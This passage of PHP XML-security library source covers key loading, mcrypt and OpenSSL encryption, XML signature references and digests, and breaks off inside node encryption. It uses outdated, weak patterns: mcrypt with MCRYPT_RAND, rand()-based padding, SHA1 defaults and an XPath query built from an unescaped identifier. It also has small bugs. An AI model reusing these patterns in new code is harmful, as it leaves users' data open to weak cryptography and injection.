(function_exists('openssl_random_pseudo_bytes')) { /* We have PHP >= 5.3 - use openssl to generate session key. */ $key = openssl_random_pseudo_bytes($keysize); } else { /* Generating random key using iv generation routines */ $key = mcrypt_create_iv($keysize, MCRYPT_RAND); } if ($this->type === XMLSecurityKey::TRIPLEDES_CBC) { /* Make sure that the generated key has the proper parity bits set. * Mcrypt doesn't care about the parity bits, but others may care. */ for ($i = 0; $i < strlen($key); $i++) { $byte = ord($key[$i]) & 0xfe; $parity = 1; for ($j = 1; $j < 8; $j++) { $parity ^= ($byte >> $j) & 1; } $byte |= $parity; $key[$i] = chr($byte); } } $this->key = $key; return $key; } public static function getRawThumbprint($cert) { $arCert = explode("\n", $cert); $data = ''; $inData = FALSE; foreach ($arCert AS $curData) { if (!$inData) { if (strncmp($curData, '-----BEGIN CERTIFICATE', 22) == 0) { $inData = TRUE; } } else { if (strncmp($curData, '-----END CERTIFICATE', 20) == 0) { $inData = FALSE; break; } $data .= trim($curData); } } if (!empty($data)) { return strtolower(sha1(base64_decode($data))); } return NULL; } public function loadKey($key, $isFile=FALSE, $isCert = FALSE) { if ($isFile) { $this->key = file_get_contents($key); } else { $this->key = $key; } if ($isCert) { $this->key = openssl_x509_read($this->key); openssl_x509_export($this->key, $str_cert); $this->x509Certificate = $str_cert; $this->key = $str_cert; } else { $this->x509Certificate = NULL; } if ($this->cryptParams['library'] == 'openssl') { if ($this->cryptParams['type'] == 'public') { if ($isCert) { /* Load the thumbprint if this is an X509 certificate. */ $this->X509Thumbprint = self::getRawThumbprint($this->key); } $this->key = openssl_get_publickey($this->key); } else { $this->key = openssl_get_privatekey($this->key, $this->passphrase); } } else if ($this->cryptParams['cipher'] == MCRYPT_RIJNDAEL_128) { /* Check key length */ switch ($this->type) { case (XMLSecurityKey::AES256_CBC): if (strlen($this->key) < 25) { throw new Exception('Key must contain at least 25 characters for this cipher'); } break; case (XMLSecurityKey::AES192_CBC): if (strlen($this->key) < 17) { throw new Exception('Key must contain at least 17 characters for this cipher'); } break; } } } private function encryptMcrypt($data) { $td = mcrypt_module_open($this->cryptParams['cipher'], '', $this->cryptParams['mode'], ''); $this->iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND); mcrypt_generic_init($td, $this->key, $this->iv); if ($this->cryptParams['mode'] == MCRYPT_MODE_CBC) { $bs = mcrypt_enc_get_block_size($td); for ($datalen0 = $datalen = strlen($data); (($datalen % $bs) != ($bs - 1)); $datalen++) $data.=chr(rand(1, 127)); $data.=chr($datalen - $datalen0 + 1); } $encrypted_data = $this->iv . mcrypt_generic($td, $data); mcrypt_generic_deinit($td); mcrypt_module_close($td); return $encrypted_data; } private function decryptMcrypt($data) { $td = mcrypt_module_open($this->cryptParams['cipher'], '', $this->cryptParams['mode'], ''); $iv_length = mcrypt_enc_get_iv_size($td); $this->iv = substr($data, 0, $iv_length); $data = substr($data, $iv_length); mcrypt_generic_init($td, $this->key, $this->iv); $decrypted_data = mdecrypt_generic($td, $data); mcrypt_generic_deinit($td); mcrypt_module_close($td); if ($this->cryptParams['mode'] == MCRYPT_MODE_CBC) { $dataLen = strlen($decrypted_data); $paddingLength = substr($decrypted_data, $dataLen - 1, 1); $decrypted_data = substr($decrypted_data, 0, $dataLen - ord($paddingLength)); } return $decrypted_data; } private function encryptOpenSSL($data) { if ($this->cryptParams['type'] == 'public') { if (!openssl_public_encrypt($data, $encrypted_data, $this->key, $this->cryptParams['padding'])) { throw new Exception('Failure encrypting Data'); return; } } else { if (!openssl_private_encrypt($data, $encrypted_data, $this->key, $this->cryptParams['padding'])) { throw new Exception('Failure encrypting Data'); return; } } return $encrypted_data; } private function decryptOpenSSL($data) { if ($this->cryptParams['type'] == 'public') { if (!openssl_public_decrypt($data, $decrypted, $this->key, $this->cryptParams['padding'])) { throw new Exception('Failure decrypting Data'); return; } } else { if (!openssl_private_decrypt($data, $decrypted, $this->key, $this->cryptParams['padding'])) { throw new Exception('Failure decrypting Data'); return; } } return $decrypted; } private function signOpenSSL($data) { $algo = OPENSSL_ALGO_SHA1; if (!empty($this->cryptParams['digest'])) { $algo = $this->cryptParams['digest']; } if (!openssl_sign($data, $signature, $this->key, $algo)) { throw new Exception('Failure Signing Data: ' . openssl_error_string() . ' - ' . $algo); return; } return $signature; } private function verifyOpenSSL($data, $signature) { $algo = OPENSSL_ALGO_SHA1; if (!empty($this->cryptParams['digest'])) { $algo = $this->cryptParams['digest']; } return openssl_verify($data, $signature, $this->key, $algo); } public function encryptData($data) { switch ($this->cryptParams['library']) { case 'mcrypt': return $this->encryptMcrypt($data); break; case 'openssl': return $this->encryptOpenSSL($data); break; } } public function decryptData($data) { switch ($this->cryptParams['library']) { case 'mcrypt': return $this->decryptMcrypt($data); break; case 'openssl': return $this->decryptOpenSSL($data); break; } } public function signData($data) { switch ($this->cryptParams['library']) { case 'openssl': return $this->signOpenSSL($data); break; } } public function verifySignature($data, $signature) { switch ($this->cryptParams['library']) { case 'openssl': return $this->verifyOpenSSL($data, $signature); break; } } public function getAlgorith() { return $this->cryptParams['method']; } static function makeAsnSegment($type, $string) { switch ($type) { case 0x02: if (ord($string) > 0x7f) $string = chr(0) . $string; break; case 0x03: $string = chr(0) . $string; break; } $length = strlen($string); if ($length < 128) { $output = sprintf("%c%c%s", $type, $length, $string); } else if ($length < 0x0100) { $output = sprintf("%c%c%c%s", $type, 0x81, $length, $string); } else if ($length < 0x010000) { $output = sprintf("%c%c%c%c%s", $type, 0x82, $length / 0x0100, $length % 0x0100, $string); } else { $output = NULL; } return($output); } /* Modulus and Exponent must already be base64 decoded */ static function convertRSA($modulus, $exponent) { /* make an ASN publicKeyInfo */ $exponentEncoding = XMLSecurityKey::makeAsnSegment(0x02, $exponent); $modulusEncoding = XMLSecurityKey::makeAsnSegment(0x02, $modulus); $sequenceEncoding = XMLSecurityKey:: makeAsnSegment(0x30, $modulusEncoding . $exponentEncoding); $bitstringEncoding = XMLSecurityKey::makeAsnSegment(0x03, $sequenceEncoding); $rsaAlgorithmIdentifier = pack("H*", "300D06092A864886F70D0101010500"); $publicKeyInfo = XMLSecurityKey::makeAsnSegment(0x30, $rsaAlgorithmIdentifier . $bitstringEncoding); /* encode the publicKeyInfo in base64 and add PEM brackets */ $publicKeyInfoBase64 = base64_encode($publicKeyInfo); $encoding = "-----BEGIN PUBLIC KEY-----\n"; $offset = 0; while ($segment = substr($publicKeyInfoBase64, $offset, 64)) { $encoding = $encoding . $segment . "\n"; $offset += 64; } return $encoding . "-----END PUBLIC KEY-----\n"; } public function serializeKey($parent) { } /** * Retrieve the X509 certificate this key represents. * * Will return the X509 certificate in PEM-format if this key represents * an X509 certificate. * * @return The X509 certificate or NULL if this key doesn't represent an X509-certificate. */ public function getX509Certificate() { return $this->x509Certificate; } /* Get the thumbprint of this X509 certificate. * * Returns: * The thumbprint as a lowercase 40-character hexadecimal number, or NULL * if this isn't a X509 certificate. */ public function getX509Thumbprint() { return $this->X509Thumbprint; } /** * Create key from an EncryptedKey-element. * * @param DOMElement $element The EncryptedKey-element. * @return XMLSecurityKey The new key. */ public static function fromEncryptedKeyElement(DOMElement $element) { $objenc = new XMLSecEnc(); $objenc->setNode($element); if (!$objKey = $objenc->locateKey()) { throw new Exception("Unable to locate algorithm for this Encrypted Key"); } $objKey->isEncrypted = TRUE; $objKey->encryptedCtx = $objenc; XMLSecEnc::staticLocateKeyInfo($objKey, $element); return $objKey; } } class XMLSecurityDSig { const XMLDSIGNS = 'http://www.w3.org/2000/09/xmldsig#'; const SHA1 = 'http://www.w3.org/2000/09/xmldsig#sha1'; const SHA256 = 'http://www.w3.org/2001/04/xmlenc#sha256'; const SHA512 = 'http://www.w3.org/2001/04/xmlenc#sha512'; const RIPEMD160 = 'http://www.w3.org/2001/04/xmlenc#ripemd160'; const C14N = 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315'; const C14N_COMMENTS = 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments'; const EXC_C14N = 'http://www.w3.org/2001/10/xml-exc-c14n#'; const EXC_C14N_COMMENTS = 'http://www.w3.org/2001/10/xml-exc-c14n#WithComments'; const template = ' '; public $sigNode = NULL; public $idKeys = array(); public $idNS = array(); private $signedInfo = NULL; private $xPathCtx = NULL; private $canonicalMethod = NULL; private $prefix = NULL; private $searchpfx = 'secdsig'; /* This variable contains an associative array of validated nodes. */ private $validatedNodes = NULL; public function __construct() { $sigdoc = new DOMDocument(); $sigdoc->loadXML(XMLSecurityDSig::template); $this->sigNode = $sigdoc->documentElement; } private function resetXPathObj() { $this->xPathCtx = NULL; } private function getXPathObj() { if (empty($this->xPathCtx) && !empty($this->sigNode)) { $xpath = new DOMXPath($this->sigNode->ownerDocument); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); $this->xPathCtx = $xpath; } return $this->xPathCtx; } static function generate_GUID($prefix='pfx') { $uuid = md5(uniqid(rand(), true)); $guid = $prefix . substr($uuid, 0, 8) . "-" . substr($uuid, 8, 4) . "-" . substr($uuid, 12, 4) . "-" . substr($uuid, 16, 4) . "-" . substr($uuid, 20, 12); return $guid; } public function locateSignature($objDoc) { if ($objDoc instanceof DOMDocument) { $doc = $objDoc; } else { $doc = $objDoc->ownerDocument; } if ($doc) { $xpath = new DOMXPath($doc); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); $query = ".//secdsig:Signature"; $nodeset = $xpath->query($query, $objDoc); $this->sigNode = $nodeset->item(0); return $this->sigNode; } return NULL; } public function createNewSignNode($name, $value=NULL) { $doc = $this->sigNode->ownerDocument; if ($this->prefix != null) { $name = $this->prefix . ':' . $name; } if (!is_null($value)) { $node = $doc->createElementNS(XMLSecurityDSig::XMLDSIGNS, $name, $value); } else { $node = $doc->createElementNS(XMLSecurityDSig::XMLDSIGNS, $name); } return $node; } public function setCanonicalMethod($method) { switch ($method) { case 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315': case 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments': case 'http://www.w3.org/2001/10/xml-exc-c14n#': case 'http://www.w3.org/2001/10/xml-exc-c14n#WithComments': $this->canonicalMethod = $method; break; default: throw new Exception('Invalid Canonical Method'); } if ($xpath = $this->getXPathObj()) { $query = './' . $this->searchpfx . ':SignedInfo'; $nodeset = $xpath->query($query, $this->sigNode); if ($sinfo = $nodeset->item(0)) { $query = './' . $this->searchpfx . 'CanonicalizationMethod'; $nodeset = $xpath->query($query, $sinfo); if (!($canonNode = $nodeset->item(0))) { $canonNode = $this->createNewSignNode('CanonicalizationMethod'); $sinfo->insertBefore($canonNode, $sinfo->firstChild); } $canonNode->setAttribute('Algorithm', $this->canonicalMethod); } } } private function canonicalizeData($node, $canonicalmethod, $arXPath=NULL, $prefixList=NULL) { $exclusive = FALSE; $withComments = FALSE; switch ($canonicalmethod) { case 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315': $exclusive = FALSE; $withComments = FALSE; break; case 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments': $withComments = TRUE; break; case 'http://www.w3.org/2001/10/xml-exc-c14n#': $exclusive = TRUE; break; case 'http://www.w3.org/2001/10/xml-exc-c14n#WithComments': $exclusive = TRUE; $withComments = TRUE; break; } /* Support PHP versions < 5.2 not containing C14N methods in DOM extension */ $php_version = explode('.', PHP_VERSION); if (($php_version[0] < 5) || ($php_version[0] == 5 && $php_version[1] < 2)) { if (!is_null($arXPath)) { throw new Exception("PHP 5.2.0 or higher is required to perform XPath Transformations"); } return C14NGeneral($node, $exclusive, $withComments); } return $node->C14N($exclusive, $withComments, $arXPath, $prefixList); } public function canonicalizeSignedInfo() { $doc = $this->sigNode->ownerDocument; $canonicalmethod = NULL; if ($doc) { $xpath = $this->getXPathObj(); $query = "./secdsig:SignedInfo"; $nodeset = $xpath->query($query, $this->sigNode); if ($signInfoNode = $nodeset->item(0)) { $query = "./secdsig:CanonicalizationMethod"; $nodeset = $xpath->query($query, $signInfoNode); if ($canonNode = $nodeset->item(0)) { $canonicalmethod = $canonNode->getAttribute('Algorithm'); } $this->signedInfo = $this->canonicalizeData($signInfoNode, $canonicalmethod); return $this->signedInfo; } } return NULL; } public function calculateDigest($digestAlgorithm, $data) { switch ($digestAlgorithm) { case XMLSecurityDSig::SHA1: $alg = 'sha1'; break; case XMLSecurityDSig::SHA256: $alg = 'sha256'; break; case XMLSecurityDSig::SHA512: $alg = 'sha512'; break; case XMLSecurityDSig::RIPEMD160: $alg = 'ripemd160'; break; default: throw new Exception("Cannot validate digest: Unsupported Algorith <$digestAlgorithm>"); } if (function_exists('hash')) { return base64_encode(hash($alg, $data, TRUE)); } elseif (function_exists('mhash')) { $alg = "MHASH_" . strtoupper($alg); return base64_encode(mhash(constant($alg), $data)); } elseif ($alg === 'sha1') { return base64_encode(sha1($data, TRUE)); } else { throw new Exception('xmlseclibs is unable to calculate a digest. Maybe you need the mhash library?'); } } public function validateDigest($refNode, $data) { $xpath = new DOMXPath($refNode->ownerDocument); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); $query = 'string(./secdsig:DigestMethod/@Algorithm)'; $digestAlgorithm = $xpath->evaluate($query, $refNode); $digValue = $this->calculateDigest($digestAlgorithm, $data); $query = 'string(./secdsig:DigestValue)'; $digestValue = $xpath->evaluate($query, $refNode); return ($digValue == $digestValue); } public function processTransforms($refNode, $objData, $includeCommentNodes = TRUE) { $data = $objData; $xpath = new DOMXPath($refNode->ownerDocument); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); $query = './secdsig:Transforms/secdsig:Transform'; $nodelist = $xpath->query($query, $refNode); $canonicalMethod = 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315'; $arXPath = NULL; $prefixList = NULL; foreach ($nodelist AS $transform) { $algorithm = $transform->getAttribute("Algorithm"); switch ($algorithm) { case 'http://www.w3.org/2001/10/xml-exc-c14n#': case 'http://www.w3.org/2001/10/xml-exc-c14n#WithComments': if (!$includeCommentNodes) { /* We remove comment nodes by forcing it to use a canonicalization * without comments. */ $canonicalMethod = 'http://www.w3.org/2001/10/xml-exc-c14n#'; } else { $canonicalMethod = $algorithm; } $node = $transform->firstChild; while ($node) { if ($node->localName == 'InclusiveNamespaces') { if ($pfx = $node->getAttribute('PrefixList')) { $arpfx = array(); $pfxlist = explode(" ", $pfx); foreach ($pfxlist AS $pfx) { $val = trim($pfx); if (!empty($val)) { $arpfx[] = $val; } } if (count($arpfx) > 0) { $prefixList = $arpfx; } } break; } $node = $node->nextSibling; } break; case 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315': case 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments': if (!$includeCommentNodes) { /* We remove comment nodes by forcing it to use a canonicalization * without comments. */ $canonicalMethod = 'http://www.w3.org/TR/2001/REC-xml-c14n-20010315'; } else { $canonicalMethod = $algorithm; } break; case 'http://www.w3.org/TR/1999/REC-xpath-19991116': $node = $transform->firstChild; while ($node) { if ($node->localName == 'XPath') { $arXPath = array(); $arXPath['query'] = '(.//. | .//@* | .//namespace::*)[' . $node->nodeValue . ']'; $arXpath['namespaces'] = array(); $nslist = $xpath->query('./namespace::*', $node); foreach ($nslist AS $nsnode) { if ($nsnode->localName != "xml") { $arXPath['namespaces'][$nsnode->localName] = $nsnode->nodeValue; } } break; } $node = $node->nextSibling; } break; } } if ($data instanceof DOMNode) { $data = $this->canonicalizeData($objData, $canonicalMethod, $arXPath, $prefixList); } return $data; } public function processRefNode($refNode) { $dataObject = NULL; /* * Depending on the URI, we may not want to include comments in the result * See: http://www.w3.org/TR/xmldsig-core/#sec-ReferenceProcessingModel */ $includeCommentNodes = TRUE; if ($uri = $refNode->getAttribute("URI")) { $arUrl = parse_url($uri); if (empty($arUrl['path'])) { if ($identifier = $arUrl['fragment']) { /* This reference identifies a node with the given id by using * a URI on the form "#identifier". This should not include comments. */ $includeCommentNodes = FALSE; $xPath = new DOMXPath($refNode->ownerDocument); if ($this->idNS && is_array($this->idNS)) { foreach ($this->idNS AS $nspf => $ns) { $xPath->registerNamespace($nspf, $ns); } } $iDlist = '@Id="' . $identifier . '"'; if (is_array($this->idKeys)) { foreach ($this->idKeys AS $idKey) { $iDlist .= " or @$idKey='$identifier'"; } } $query = '//*[' . $iDlist . ']'; $dataObject = $xPath->query($query)->item(0); } else { $dataObject = $refNode->ownerDocument; } } else { $dataObject = file_get_contents($arUrl); } } else { /* This reference identifies the root node with an empty URI. This should * not include comments. */ $includeCommentNodes = FALSE; $dataObject = $refNode->ownerDocument; } $data = $this->processTransforms($refNode, $dataObject, $includeCommentNodes); if (!$this->validateDigest($refNode, $data)) { return FALSE; } if ($dataObject instanceof DOMNode) { /* Add this node to the list of validated nodes. */ if (!empty($identifier)) { $this->validatedNodes[$identifier] = $dataObject; } else { $this->validatedNodes[] = $dataObject; } } return TRUE; } public function getRefNodeID($refNode) { if ($uri = $refNode->getAttribute("URI")) { $arUrl = parse_url($uri); if (empty($arUrl['path'])) { if ($identifier = $arUrl['fragment']) { return $identifier; } } } return null; } public function getRefIDs() { $refids = array(); $doc = $this->sigNode->ownerDocument; $xpath = $this->getXPathObj(); $query = "./secdsig:SignedInfo/secdsig:Reference"; $nodeset = $xpath->query($query, $this->sigNode); if ($nodeset->length == 0) { throw new Exception("Reference nodes not found"); } foreach ($nodeset AS $refNode) { $refids[] = $this->getRefNodeID($refNode); } return $refids; } public function validateReference() { $doc = $this->sigNode->ownerDocument; if (!$doc->isSameNode($this->sigNode)) { $this->sigNode->parentNode->removeChild($this->sigNode); } $xpath = $this->getXPathObj(); $query = "./secdsig:SignedInfo/secdsig:Reference"; $nodeset = $xpath->query($query, $this->sigNode); if ($nodeset->length == 0) { throw new Exception("Reference nodes not found"); } /* Initialize/reset the list of validated nodes. */ $this->validatedNodes = array(); foreach ($nodeset AS $refNode) { if (!$this->processRefNode($refNode)) { /* Clear the list of validated nodes. */ $this->validatedNodes = NULL; throw new Exception("Reference validation failed"); } } return TRUE; } private function addRefInternal($sinfoNode, $node, $algorithm, $arTransforms=NULL, $options=NULL) { $prefix = NULL; $prefix_ns = NULL; $id_name = 'Id'; $overwrite_id = TRUE; $force_uri = FALSE; if (is_array($options)) { $prefix = empty($options['prefix']) ? NULL : $options['prefix']; $prefix_ns = empty($options['prefix_ns']) ? NULL : $options['prefix_ns']; $id_name = empty($options['id_name']) ? 'Id' : $options['id_name']; $overwrite_id = !isset($options['overwrite']) ? TRUE : (bool) $options['overwrite']; $force_uri = !isset($options['force_uri']) ? FALSE : (bool) $options['force_uri']; } $attname = $id_name; if (!empty($prefix)) { $attname = $prefix . ':' . $attname; } $refNode = $this->createNewSignNode('Reference'); $sinfoNode->appendChild($refNode); if (!$node instanceof DOMDocument) { $uri = NULL; if (!$overwrite_id) { $uri = $node->getAttributeNS($prefix_ns, $attname); } if (empty($uri)) { $uri = XMLSecurityDSig::generate_GUID(); $node->setAttributeNS($prefix_ns, $attname, $uri); } $refNode->setAttribute("URI", '#' . $uri); } elseif ($force_uri) { $refNode->setAttribute("URI", ''); } $transNodes = $this->createNewSignNode('Transforms'); $refNode->appendChild($transNodes); if (is_array($arTransforms)) { foreach ($arTransforms AS $transform) { $transNode = $this->createNewSignNode('Transform'); $transNodes->appendChild($transNode); if (is_array($transform) && (!empty($transform['http://www.w3.org/TR/1999/REC-xpath-19991116'])) && (!empty($transform['http://www.w3.org/TR/1999/REC-xpath-19991116']['query']))) { $transNode->setAttribute('Algorithm', 'http://www.w3.org/TR/1999/REC-xpath-19991116'); $XPathNode = $this->createNewSignNode('XPath', $transform['http://www.w3.org/TR/1999/REC-xpath-19991116']['query']); $transNode->appendChild($XPathNode); if (!empty($transform['http://www.w3.org/TR/1999/REC-xpath-19991116']['namespaces'])) { foreach ($transform['http://www.w3.org/TR/1999/REC-xpath-19991116']['namespaces'] AS $prefix => $namespace) { $XPathNode->setAttributeNS("http://www.w3.org/2000/xmlns/", "xmlns:$prefix", $namespace); } } } else { $transNode->setAttribute('Algorithm', $transform); } } } elseif (!empty($this->canonicalMethod)) { $transNode = $this->createNewSignNode('Transform'); $transNodes->appendChild($transNode); $transNode->setAttribute('Algorithm', $this->canonicalMethod); } $canonicalData = $this->processTransforms($refNode, $node); $digValue = $this->calculateDigest($algorithm, $canonicalData); $digestMethod = $this->createNewSignNode('DigestMethod'); $refNode->appendChild($digestMethod); $digestMethod->setAttribute('Algorithm', $algorithm); $digestValue = $this->createNewSignNode('DigestValue', $digValue); $refNode->appendChild($digestValue); } public function addReference($node, $algorithm, $arTransforms=NULL, $options=NULL) { if ($xpath = $this->getXPathObj()) { $query = "./secdsig:SignedInfo"; $nodeset = $xpath->query($query, $this->sigNode); if ($sInfo = $nodeset->item(0)) { $this->addRefInternal($sInfo, $node, $algorithm, $arTransforms, $options); } } } public function addReferenceList($arNodes, $algorithm, $arTransforms=NULL, $options=NULL) { if ($xpath = $this->getXPathObj()) { $query = "./secdsig:SignedInfo"; $nodeset = $xpath->query($query, $this->sigNode); if ($sInfo = $nodeset->item(0)) { foreach ($arNodes AS $node) { $this->addRefInternal($sInfo, $node, $algorithm, $arTransforms, $options); } } } } public function addObject($data, $mimetype=NULL, $encoding=NULL) { $objNode = $this->createNewSignNode('Object'); $this->sigNode->appendChild($objNode); if (!empty($mimetype)) { $objNode->setAtribute('MimeType', $mimetype); } if (!empty($encoding)) { $objNode->setAttribute('Encoding', $encoding); } if ($data instanceof DOMElement) { $newData = $this->sigNode->ownerDocument->importNode($data, TRUE); } else { $newData = $this->sigNode->ownerDocument->createTextNode($data); } $objNode->appendChild($newData); return $objNode; } public function locateKey($node=NULL) { if (empty($node)) { $node = $this->sigNode; } if (!$node instanceof DOMNode) { return NULL; } if ($doc = $node->ownerDocument) { $xpath = new DOMXPath($doc); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); $query = "string(./secdsig:SignedInfo/secdsig:SignatureMethod/@Algorithm)"; $algorithm = $xpath->evaluate($query, $node); if ($algorithm) { try { $objKey = new XMLSecurityKey($algorithm, array('type' => 'public')); } catch (Exception $e) { return NULL; } return $objKey; } } return NULL; } public function verify($objKey) { $doc = $this->sigNode->ownerDocument; $xpath = new DOMXPath($doc); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); $query = "string(./secdsig:SignatureValue)"; $sigValue = $xpath->evaluate($query, $this->sigNode); if (empty($sigValue)) { throw new Exception("Unable to locate SignatureValue"); } return $objKey->verifySignature($this->signedInfo, base64_decode($sigValue)); } public function signData($objKey, $data) { return $objKey->signData($data); } public function sign($objKey, $appendToNode = NULL) { // If we have a parent node append it now so C14N properly works if ($appendToNode != NULL) { $this->resetXPathObj(); $this->appendSignature($appendToNode); $this->sigNode = $appendToNode->lastChild; } if ($xpath = $this->getXPathObj()) { $query = "./secdsig:SignedInfo"; $nodeset = $xpath->query($query, $this->sigNode); if ($sInfo = $nodeset->item(0)) { $query = "./secdsig:SignatureMethod"; $nodeset = $xpath->query($query, $sInfo); $sMethod = $nodeset->item(0); $sMethod->setAttribute('Algorithm', $objKey->type); $data = $this->canonicalizeData($sInfo, $this->canonicalMethod); $sigValue = base64_encode($this->signData($objKey, $data)); $sigValueNode = $this->createNewSignNode('SignatureValue', $sigValue); if ($infoSibling = $sInfo->nextSibling) { $infoSibling->parentNode->insertBefore($sigValueNode, $infoSibling); } else { $this->sigNode->appendChild($sigValueNode); } } } } public function appendCert() { } public function appendKey($objKey, $parent=NULL) { $objKey->serializeKey($parent); } /** * This function inserts the signature element. * * The signature element will be appended to the element, unless $beforeNode is specified. If $beforeNode * is specified, the signature element will be inserted as the last element before $beforeNode. * * @param $node The node the signature element should be inserted into. * @param $beforeNode The node the signature element should be located before. * * @return DOMNode The signature element node */ public function insertSignature($node, $beforeNode = NULL) { $document = $node->ownerDocument; $signatureElement = $document->importNode($this->sigNode, TRUE); if ($beforeNode == NULL) { return $node->insertBefore($signatureElement); } else { return $node->insertBefore($signatureElement, $beforeNode); } } public function appendSignature($parentNode, $insertBefore = FALSE) { $beforeNode = $insertBefore ? $parentNode->firstChild : NULL; return $this->insertSignature($parentNode, $beforeNode); } static function get509XCert($cert, $isPEMFormat=TRUE) { $certs = XMLSecurityDSig::staticGet509XCerts($cert, $isPEMFormat); if (!empty($certs)) { return $certs[0]; } return ''; } static function staticGet509XCerts($certs, $isPEMFormat=TRUE) { if ($isPEMFormat) { $data = ''; $certlist = array(); $arCert = explode("\n", $certs); $inData = FALSE; foreach ($arCert AS $curData) { if (!$inData) { if (strncmp($curData, '-----BEGIN CERTIFICATE', 22) == 0) { $inData = TRUE; } } else { if (strncmp($curData, '-----END CERTIFICATE', 20) == 0) { $inData = FALSE; $certlist[] = $data; $data = ''; continue; } $data .= trim($curData); } } return $certlist; } else { return array($certs); } } static function staticAdd509Cert($parentRef, $cert, $isPEMFormat=TRUE, $isURL=False, $xpath=NULL) { if ($isURL) { $cert = file_get_contents($cert); } if (!$parentRef instanceof DOMElement) { throw new Exception('Invalid parent Node parameter'); } $baseDoc = $parentRef->ownerDocument; if (empty($xpath)) { $xpath = new DOMXPath($parentRef->ownerDocument); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); } $query = "./secdsig:KeyInfo"; $nodeset = $xpath->query($query, $parentRef); $keyInfo = $nodeset->item(0); if (!$keyInfo) { $inserted = FALSE; $keyInfo = $baseDoc->createElementNS(XMLSecurityDSig::XMLDSIGNS, 'ds:KeyInfo'); $query = "./secdsig:Object"; $nodeset = $xpath->query($query, $parentRef); if ($sObject = $nodeset->item(0)) { $sObject->parentNode->insertBefore($keyInfo, $sObject); $inserted = TRUE; } if (!$inserted) { $parentRef->appendChild($keyInfo); } } // Add all certs if there are more than one $certs = XMLSecurityDSig::staticGet509XCerts($cert, $isPEMFormat); // Atach X509 data node $x509DataNode = $baseDoc->createElementNS(XMLSecurityDSig::XMLDSIGNS, 'ds:X509Data'); $keyInfo->appendChild($x509DataNode); // Atach all certificate nodes foreach ($certs as $X509Cert) { $x509CertNode = $baseDoc->createElementNS(XMLSecurityDSig::XMLDSIGNS, 'ds:X509Certificate', $X509Cert); $x509DataNode->appendChild($x509CertNode); } } public function add509Cert($cert, $isPEMFormat=TRUE, $isURL=False) { if ($xpath = $this->getXPathObj()) { self::staticAdd509Cert($this->sigNode, $cert, $isPEMFormat, $isURL, $xpath); } } function addKeyInfoAndName($keyName, $xpath=NULL) { $baseDoc = $this->sigNode->ownerDocument; if (empty($xpath)) { $xpath = new DOMXPath($baseDoc); $xpath->registerNamespace('secdsig', XMLSecurityDSig::XMLDSIGNS); } $query = "./secdsig:KeyInfo"; $nodeset = $xpath->query($query, $this->sigNode); $keyInfo = $nodeset->item(0); if (!$keyInfo) { $inserted = FALSE; $keyInfo = $baseDoc->createElementNS(XMLSecurityDSig::XMLDSIGNS, 'KeyInfo'); $query = "./secdsig:Object"; $nodeset = $xpath->query($query, $this->sigNode); if ($sObject = $nodeset->item(0)) { $sObject->parentNode->insertBefore($keyInfo, $sObject); $inserted = TRUE; } if (!$inserted) { $this->sigNode->appendChild($keyInfo); } } $keyInfo->appendChild($baseDoc->createElementNS('http://www.w3.org/2000/09/xmldsig#', 'KeyName', $keyName)); } /* This function retrieves an associative array of the validated nodes. * * The array will contain the id of the referenced node as the key and the node itself * as the value. * * Returns: * An associative array of validated nodes or NULL if no nodes have been validated. */ public function getValidatedNodes() { return $this->validatedNodes; } } class XMLSecEnc { const template = " "; const Element = 'http://www.w3.org/2001/04/xmlenc#Element'; const Content = 'http://www.w3.org/2001/04/xmlenc#Content'; const URI = 3; const XMLENCNS = 'http://www.w3.org/2001/04/xmlenc#'; private $encdoc = NULL; private $rawNode = NULL; public $type = NULL; public $encKey = NULL; private $references = array(); public function __construct() { $this->_resetTemplate(); } private function _resetTemplate() { $this->encdoc = new DOMDocument(); $this->encdoc->loadXML(XMLSecEnc::template); } public function addReference($name, $node, $type) { if (!$node instanceOf DOMNode) { throw new Exception('$node is not of type DOMNode'); } $curencdoc = $this->encdoc; $this->_resetTemplate(); $encdoc = $this->encdoc; $this->encdoc = $curencdoc; $refuri = XMLSecurityDSig::generate_GUID(); $element = $encdoc->documentElement; $element->setAttribute("Id", $refuri); $this->references[$name] = array("node" => $node, "type" => $type, "encnode" => $encdoc, "refuri" => $refuri); } public function setNode($node) { $this->rawNode = $node; } public function encryptNode($objKey, $replace=TRUE) { $data = ''; if (empty($this->rawNode)) { throw new Exception('Node to encrypt has not been set'); } if (!$objKey instanceof XMLSecurityKey) { throw new Exception('Invalid Key'); } $doc = $this->rawNode->ownerDocument; $xPath = new DOMXPath($this->encdoc); $objList = $xPath->query('/xenc:EncryptedData/xenc:CipherData/xenc:CipherValue'); $cipherValue = $objList->item(0); if ($cipherValue == NULL) { throw new Exception('Error locating CipherValue element within template'); } switch ($this->type) { case (XMLSecEnc::Element): $data = $doc->saveXML($this->rawNode); $this->encdoc->documentElement->setAttribute('Type', XMLSecEnc::Element); break; case (XMLSecEnc::Content): $children = $this->rawNode->childNodes; foreach ($children AS $child) { $data .= $doc->saveXML($child); } $this->encdoc->documentElement->setAttribute('Type', XMLSecEnc::Content); break; default: throw new Exception('Type is currently not supported'); return; } $encMethod = $this->encdoc->documentElement->appendChild($this->encdoc->createElementNS(XMLSecEnc::XMLENCNS, 'xenc:EncryptionMethod')); $encMethod->setAttribute('Algorithm', $objKey->getAlgorith()); $cipherValue->parentNode->parentNode->insertBefore($encMethod, $cipherValue->parentNode->parentNode->firstChild); $strEncrypt = base64_encode($objKey->encryptData($data)); $value = $this->encdoc->createTextNode($strEncrypt); $cipherValue->appendChild($value); if ($replace) { switch 